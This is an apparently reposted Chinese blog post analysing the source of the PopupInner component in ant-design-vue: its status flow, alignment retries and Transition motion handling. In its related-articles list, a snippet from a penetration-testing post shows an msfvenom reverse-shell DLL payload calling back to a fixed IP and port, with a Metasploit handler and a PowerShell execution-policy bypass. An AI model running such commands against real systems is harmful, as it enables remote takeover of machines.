PopupInner源码分析 -- ant-design-vue系列

news2024/9/22 7:25:58

PopupInner源码分析 – ant-design-vue系列

1 综述

上一篇讲解了vc-align的工作原理,也就是对齐是如何完成的。这一篇主要讲述包裹 Align的组件:PopupInner组件是如何工作的。

PopupInner主要是对动画状态的管理,比如打开弹窗的时候,弹出的动画是从上到下的,关闭的时候正好相反。我们把动画时长改成两秒,进行观察。

在这里插入图片描述

**动画的管理,更深层次来说是对元素类名的管理。**接下来需要搞清楚在动画的过程中,状态是如何发生变化的。

2 极简代码

使用vue3提供的动画组件Transition来包裹Align组件,但是没有对Transition组件设置任何属性,所以暂时还没有动画效果。

return () => (
  <Transition>
    {props.visible ? (
     <Align align={props.align} target={props.target}>
    		{slots.default?.()}
      </Align>
  ) : null}
  </Transition>
);

3 源码实现

3.1 前置知识

组件Transition:https://cn.vuejs.org/guide/built-ins/transition.html#transition-on-appear

3.2 PopupInner组件定义的动画状态

在这里插入图片描述

源码地址:https://github.com/vueComponent/ant-design-vue/blob/main/components/vc-trigger/Popup/useVisibleStatus.ts

在源码中有这样一个hook,监控visible的变化,并且提供了当前状态和修改状态的函数。doMeasure 是另一个hook提供的函数,目的是得到source节点的宽/高度。

 // ======================== Status ========================
 const [status, goNextStatus] = useVisibleStatus(visible, doMeasure);

useVisibleStatus函数中,注释如下:

 /**
 * 每个组件正确工作的步骤如下,弹出窗口应遵循这个流程。
 * measure - 检查拉伸尺寸值
 * align - 让组件对齐位置
 * aligned - 再次重新对齐,以防止其他className更改了大小(这一步后续再解释)
 * afterAlign - 选择下一步是触发运动还是结束
 * beforeMotion - 应将motion重置为invisible,以便CSSMotion可以进行正常运动
 * motion - 执行动作
 * stable 一切结束
 */

对源码进行拆解:

  • 整体框架:
type PopupStatus = null | 'measure' | 'align' | 'aligned' | 'motion' | 'stable';
type Func = () => void;
const StatusQueue: PopupStatus[] = ['measure', 'align', null, 'motion'];

export default (
  visible: Ref<boolean>,
  doMeasure: Func,
): [Ref<PopupStatus>, (callback?: () => void) => void] => {
  // 弹出状态
  const status = ref<PopupStatus>(null);
  
  // raf = (callback: FrameRequestCallback) => window.requestAnimationFrame(callback);
  // rafRef 就是requestAnimationFrame执行器的引用,这个hook不做拆解了。
  const rafRef = ref<number>();
  
  // 标记组件的销毁状态
  const destroyRef = ref(false);
  
  const goNextStatus = () => {
    // ......
  }
  
  onMounted(() => {
    // ......
  })
  
  return [status, goNextStatus];
}

🎯 状态驱动如图所示:

在这里插入图片描述

  • 监控visible的变化

visible变化的时候,重新从measure状态开始流转。

watch(
  visible,
  () => {
    setStatus('measure');
  },
  { immediate: true, flush: 'post' },
);
  • 监听status的变化

在组件挂载时,监控了status的变化。

如果当前是measure,调用传入的doMeasure,测量target的大小。接下来会设置新状态:

  1. 如果status === 'measure',则执行setStatus('align')
  2. 如果status === 'align',这里因为要多次定位,所以nextStatus为空,也就是无法自动进入下个状态
  3. 如果status === 'motion'nextStatus同样为空,无法自动进入下个状态

所以,当popup处于alignmotion状态时,都需要等待动作完成,由外部调用goNextStatus来进入下个状态。

onMounted(() => {
  // Go next status
  watch(
    status,
    () => {
      switch (status.value) {
        case 'measure':
          doMeasure();
          break;
        default:
      }

      if (status.value) {
        rafRef.value = raf(async () => {
          const index = StatusQueue.indexOf(status.value);
          const nextStatus = StatusQueue[index + 1];
          if (nextStatus && index !== -1) {
            setStatus(nextStatus);
          }
        });
      }
    },
    { immediate: true, flush: 'post' },
  );
});

function setStatus(nextStatus: PopupStatus) {
  if (!destroyRef.value) {
    status.value = nextStatus;
  }
}
  • goNextStatus 函数

可以看到,正好弥补了上一个watch不能自动触发的状态变更。

function goNextStatus(callback?: () => void) {
  // 取消原先的动作,注册新的。目的是为了动画的流程。
  cancelRaf();
  rafRef.value = raf(() => {
    // Only align should be manually trigger
    let newStatus = status.value;
    switch (status.value) {
      case 'align':
        newStatus = 'motion';
        break;
      case 'motion':
        newStatus = 'stable';
        break;
      default:
    }
    setStatus(newStatus);

    callback?.();
  });
}
  • 其他部分

都是一些清理函数。

onBeforeUnmount(() => {
  destroyRef.value = true;
  cancelRaf();
});

function cancelRaf() {
  raf.cancel(rafRef.value);
}

3.3 核心变量

先看一下渲染函数,最重要的就是transitionPropsmergedStyle,其他变量暂时不管。

return (
  <Transition
    // ......
    {...transitionProps}
    v-slots={{
      default: () => {
        return !destroyPopupOnHide || props.visible ? (
          <Align
           // ......
            v-slots={{
              default: () => (
                <div
                  // ......
                  style={mergedStyle}
                >
                  {childNode}
                </div>
              ),
            }}
          ></Align>
        ) : null;
      },
    }}
  ></Transition>
);

对代码进行debug,观察这两个变量在动画状态过程中的变化。可以看到,在第一次measure过程结束后:

const transitionProps = {
	name: 'ant-slide-up',
	appear: true,
	enterFromClass: 'ant-slide-up-enter ant-slide-up-enter-prepare',
	enterActiveClass: 'ant-slide-up-enter ant-slide-up-enter-prepare',
	enterToClass: 'ant-slide-up-enter ant-slide-up-enter-active',
	leaveFromClass: ' ant-slide-up-leave',
	leaveActiveClass: 'ant-slide-up-leave ant-slide-up-leave-active',
	leaveToClass: 'ant-slide-up-leave ant-slide-up-leave-active'
};

const mergedStyle = [{ minWidth: '76px', opacity: 0, pointerEvents: 'none' }, null];

// 后续opacity会变成null,弹窗逐步显现。从源码中可以清晰的看到
 opacity: statusValue === 'motion' || statusValue === 'stable' || !visible.value ? null : 0,
 pointerEvents: !visible.value && statusValue !== 'stable' ? 'none' : null,

这个就是动画的核心了,其他代码都是为这个服务的。比如对齐popup的位置;控制内部status状态,进而让动画在对齐完成后再开始。

动画的源码:https://github.com/vueComponent/ant-design-vue/blob/main/components/style/core/motion/slide.less

3.4 代码详解

由于代码逻辑都穿插在一起,所以先把所有逻辑分开看一下,最后在用一个流程进行串联。

遵照源码对代码的分块。

3.4.1 Measure
// ======================= Measure ========================
/**
* 如果 stretch 是width,那么stretchStyle返回元素的 width;如果stretch 是minWidth,那么stretchStyle返回元素的 minWidth
* height也是一样的。
*
* 开始时 width = height = 0px
* 只有调用measureStretchStyle才能获得目标元素的属性
*/
const [stretchStyle, measureStretchStyle] = useStretchStyle(toRef(props, 'stretch'));

const doMeasure = () => {
  if (props.stretch) {
    measureStretchStyle(props.getRootDomNode());
  }
};

const visible = ref(false);
let timeoutId: any;
watch(
  () => props.visible,
  val => {
    clearTimeout(timeoutId);
    if (val) {
      /**
      * 如果visible变成true,那么延迟变更
      */
      timeoutId = setTimeout(() => {
        visible.value = props.visible;
      });
    } else {
      visible.value = false;
    }
  },
  { immediate: true },
);
3.4.2 Aligns
 // ======================== Aligns ========================
/**
* 解释见下文
*/
const prepareResolveRef = ref<(value?: unknown) => void>();

/**
*	Align组件的target可以接受函数或者对象,获取的时候也要区分。
*/
const getAlignTarget = () => {
  if (props.point) {
    return props.point;
  }
  return props.getRootDomNode;
};

/**
*	调用Align组件的对齐方法
*/
const forceAlign = () => {
  alignRef.value?.forceAlign();
};

/**
* popupDomNode是弹窗节点,matchAlign是对齐的结果reuslt
* 使用align-dom对齐,会有自适应视口的位置调整,因此result并不一定是是设置的位置
*/
const onInternalAlign = (popupDomNode: HTMLElement, matchAlign: AlignType) => {
  /**
  * 根据对齐结果获取类名,比如默认的左上角对齐,类名是 ant-dropdown-placement-bottomLeft
  */
  const nextAlignedClassName = props.getClassNameFromAlign(matchAlign);
  const preAlignedClassName = alignedClassName.value;
  if (alignedClassName.value !== nextAlignedClassName) {
    alignedClassName.value = nextAlignedClassName;
  }
  /**
  * 如果当前状态是align,并且新的类名和旧的不同(也就是对齐方式不同),就重新执行对齐方法,拿到新的对齐结果再比较
  * 直到对齐无误后,status进入下个阶段motion,同时放开动画,进入动画的下个阶段
  */
  if (status.value === 'align') {
    // Repeat until not more align needed
    if (preAlignedClassName !== nextAlignedClassName) {
      Promise.resolve().then(() => {
        forceAlign();
      });
    } else {
      goNextStatus(() => {
        prepareResolveRef.value?.();
      });
    }

    props.onAlign?.(popupDomNode, matchAlign);
  }
};
  • prepareResolveRef

是一个Promiseresolve方法,执行这个方法,可以让Promise结束。这个promise的定义在Motion模块。

/**
* 从名字可以看出,这个是动画开始前的一个阶段。
*/
const onShowPrepare = () => {
  return new Promise(resolve => {
    prepareResolveRef.value = resolve;
  });
};

使用的地方在Transition 组件,也就是说,onBeforeEnter要想结束,需要等到prepareResolveRef.value?.()的执行。

<Transition
  // ......
  onBeforeEnter={onShowPrepare}
</Transition>
  • onInternalAlign

Align组件中,有以下这句代码。执行的就是onInternalAlign这个函数,传入sourceresult

if (latestOnAlign && result) {
  latestOnAlign(source, result);
}
3.4.3 Motion
// ======================== Motion ========================
const motion = computed(() => {
  /**
  * 如果设置了动画,就使用设置好的,否则使用默认的。也就是3.3 展示的变量
  */
  const m = typeof props.animation === 'object' ? props.animation : getMotion(props as any);
  ['onAfterEnter', 'onAfterLeave'].forEach(eventName => {
    /**
    * 拦截了两个状态
    * 如果动画状态是onAfterEnter或者onAfterLeave,也就是打开和关闭的结束时间点。
    * 就手动把status状态设置为stable,同时执行原动画逻辑。
    */
    const originFn = m[eventName];
    m[eventName] = node => {
      goNextStatus();
      // 结束后,强制 stable
      status.value = 'stable';
      originFn?.(node);
    };
  });
  return m;
});

const onShowPrepare = () => {
  return new Promise(resolve => {
    prepareResolveRef.value = resolve;
  });
};

/**
* 如果不需要动画,且status是动画状态,则直接进入下个阶段stable
*/
watch(
  [motion, status],
  () => {
    if (!motion.value && status.value === 'motion') {
      goNextStatus();
    }
  },
  { immediate: true },
);

expose({
  forceAlign,
  getElement: () => {
    return (elementRef.value as any).$el || elementRef.value;
  },
});

const alignDisabled = computed(() => {
  if ((props.align as any)?.points && (status.value === 'align' || status.value === 'stable')) {
    return false;
  }
  return true;
});

3.5 主流程讲解

在这里插入图片描述

  1. Align组件使用了v-show属性,可以应用Transition的动画效果。由visible变量控制。
  2. visible变成true时,触发了useVisibleStatus这个hookstatus状态开始流转。
  3. useVisibleStatus这个hook中,status被设置成了measure
  4. 还是在这个hook中,因为statuswatch监听,因此触发了回调,执行了doMeasure方法,算出popup的样式,同时status被推到align
  5. 此时再次触发useVisibleStatus这个hookstatus的监听,状态被推到了null,也就是这个hook暂时不能控制状态了。
  6. 因为doMeasure方法的执行,source的大小发生了变化,对齐方法forceAlign开始执行(详情请看上一篇)。
  7. 每次forceAlign执行的末尾,都会执行latestOnAlign(source, result);对应的就是PopupInner中的onInternalAlign方法。
  8. 这个方法中,会多次调用forceAlign(),直到source被准确定位(排除各种视口变化对位置的影响),以便动画的位置没有错误。
  9. 当位置稳定后,onInternalAlign会手动将状态推进到下一步motion。同时执行prepareResolveRef.value?.(),让css动画也进入下一个阶段。
  10. 如果动画执行完成,通过劫持动画的onAfterEnter阶段,推进状态到stable,到此一次动画结束。

4 总结

本篇介绍了PopupInner的源码实现,由于状态变化的复杂,所以只要理解流程即可,在实际开发中,我们的对齐定位大多不会如此复杂。如果只允许超着一个方向对齐,那么只要为Transtion设置类名即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115475.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Hot100】LeetCode—763. 划分字母区间

目录 1- 思路哈希表 双指针 2- 实现⭐763. 划分字母区间——题解思路 3- ACM 实现 原题链接&#xff1a;763. 划分字母区间 1- 思路 哈希表 双指针 ① 找到元素最远的出现位置&#xff1a;哈希表② 根据最远出现位置&#xff0c;判断区间的分界线&#xff1a;双指针 实现 …

Java类和对象(详解)

前言&#xff1a; Java中类和对象是比较重要的一章&#xff0c;这一章可以让我们深刻认识到Java语言的"精妙之处"&#xff0c;它不像C语言那么"细"&#xff0c;也不想其他语言封装的那么"保守"。 游刃有余的解决一系列面向对象问题。 面向对象的…

数据集 视线估计-unityeyes-合成数据 >> DataBall

视线估计-合成数据-三维建模-人工智能unityeyes 人眼视线估计仿真合成数据集 inproceedings{wood2016_etra, title {Learning an Appearance-Based Gaze Estimator from One Million Synthesised Images}, author {Wood, Erroll and Baltru{\v{s}}aitis, Tadas and Morency,…

如何使div居中?CSS居中终极指南

前言 长期以来&#xff0c;如何在父元素中居中对齐一个元素&#xff0c;一直是一个让人头疼的问题&#xff0c;随着 CSS 的发展&#xff0c;越来越多的工具可以用来解决这个难题&#xff0c;五花八门的招式一大堆&#xff0c;这篇博客&#xff0c;旨在帮助你理解不同的居中方法…

【电子通识】半导体工艺——保护晶圆表面的氧化工艺

在文章【电子通识】半导体工艺——晶圆制造中我们讲到晶圆的一些基础术语和晶圆制造主要步骤&#xff1a;制造锭(Ingot)、锭切割(Wafer Slicing)、晶圆表面抛光(Lapping&Polishing)。 那么其实当晶圆暴露在大气中或化学物质中的氧气时就会形成氧化膜。这与铁(Fe)暴露在大气…

MySQL record 02 part

查看已建数据库的基本信息&#xff1a; show CREATE DATABASE mydb; 注意&#xff0c;是DATABASE 不是 DATABASEs&#xff0c; 命令成功执行后&#xff0c;回显的信息有&#xff1a; CREATE DATABASE mydb /*!40100 DEFAULT CHARACTER SET utf8mb3 / /!80016 DEFAULT ENCRYPTIO…

基于Python+大数据爬虫+数据可视化大屏的耳机信息的爬取与分析平台设计和实现(2025最新优质项目-系统+源码+部署文档)

博主介绍&#xff1a;✌全网粉丝50W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HLM…

新手入门Python:Python类中自带的装饰器详解与应用

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 文章内容 📒📝 什么是装饰器?📝 常用装饰器详解📝 高级装饰器📝 综合应用示例⚓️ 相关链接 ⚓️📖 介绍 📖 在Python编程中,有一类特别的工具,它们可以改变或增强函数和方法的行为。这些工具被称为装饰器。对…

使用宝塔面板安装mrdoc

使用宝塔面板安装mrdoc 1、所需环境2、ubuntu系统安装3、宝塔面板安装4、NginxPHPMySQL安装5、python项目管理器安装6、 python版本安装7、mrdoc的部署7.1、下载项目源码7.2、新建python管理器项目 8、使用MySQL作为默认数据库8.1、安装mysqlclient插件8.2、配置数据库连接信息…

qt多线程的两种方法run和movetothread

qt多线程的有什么用&#xff1f; 将耗时长的操作丢入专属线程执行&#xff0c;这样就不会影响主线程的界面操作&#xff0c;操作完再用信号槽等的方式返回结果 1.界面和部件相关都必须在主界面运行&#xff0c;不要用子线程调用或者操作&#xff0c;会引起奇怪的bug&#xff…

推荐一款免费使用的电脑笔记软件,工作必备

今天为大家介绍一款开源的笔记软件——Beaver Notes&#xff08;海狸笔记&#xff09;。 海狸笔记&#xff08;Beaver Notes&#xff09;是一款注重隐私保护的免费、开源且无广告的笔记工具。它拥有一个干净且吸引人的用户界面&#xff0c;操作直观便捷&#xff0c;并且兼容 W…

验证码的作用,为什么要存在验证码?

背景 在现代网络应用中&#xff0c;验证码被广泛使用以实现人机识别和减轻服务器负担。常见的验证码为以下几类&#xff1a; 图形验证码&#xff1a;通过展示一个随机生成的图形&#xff0c;要求用户输入对应的文字或数字来判断用户是否为真实用户。滑块验证码&#xff1a;用…

基于VS2022+Qt5+C++的网络调试助手开发

目录 一、前言 二、环境准备以及项目创建 三、 项目实现 1.ui界面设计 2.添加NetWork模块 QTcpSocket 和 QTcpServer QUdpSocket 3.主要功能实现 ①IP扫描 ②端口设置 ③数据接收 ④数据发送 ⑤日志保存 4.打包成exe 四、效果展示 五、总结 一、前言 我之前用…

Mysql高级篇(中)——索引介绍

Mysql高级篇&#xff08;中&#xff09;——索引介绍 一、索引本质二、索引优缺点三、索引分类&#xff08;1&#xff09;按数据结构分类&#xff08;2&#xff09;按功能分类&#xff08;3&#xff09; 按存储引擎分类&#xff08;4&#xff09; 按存储方式分类&#xff08;5&…

通信工程学习:什么是DB数据库、DBS数据库系统、DBMS数据库管理系统

DB数据库、DBS数据库系统、DBMS数据库管理系统 在计算机科学中&#xff0c;数据库&#xff08;DB&#xff09;、数据库系统&#xff08;DBS&#xff09;和数据库管理系统&#xff08;DBMS&#xff09;是构建和管理数据存储与检索系统的核心概念。下面将分别详细解释这三个术语。…

基于人工智能的智能家居语音控制系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练模型预测应用场景结论 1. 引言 随着物联网&#xff08;IoT&#xff09;和人工智能技术的发展&#xff0c;智能家居语音控制系统已经成为现代家庭的一部分。通过语音控…

Spring入门案例创建流程

Spring详细创建流程如下 1&#xff09;创建Maven工程 打开idea主界面 new Project > Name > Language > Maven > JDK > GroupId > Create Src > 鼠标右键>Delete 创建module 鼠标右键spring-demo > new > Module new Module > Name > L…

RocksDB简介

一、RocksDB是什么 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务RocksDB提供存储服务,是一个嵌入式KV存储引擎 Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。二、RocksDB的诞生 基于flash存储和ssd普及,网络latency在query worklo…

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…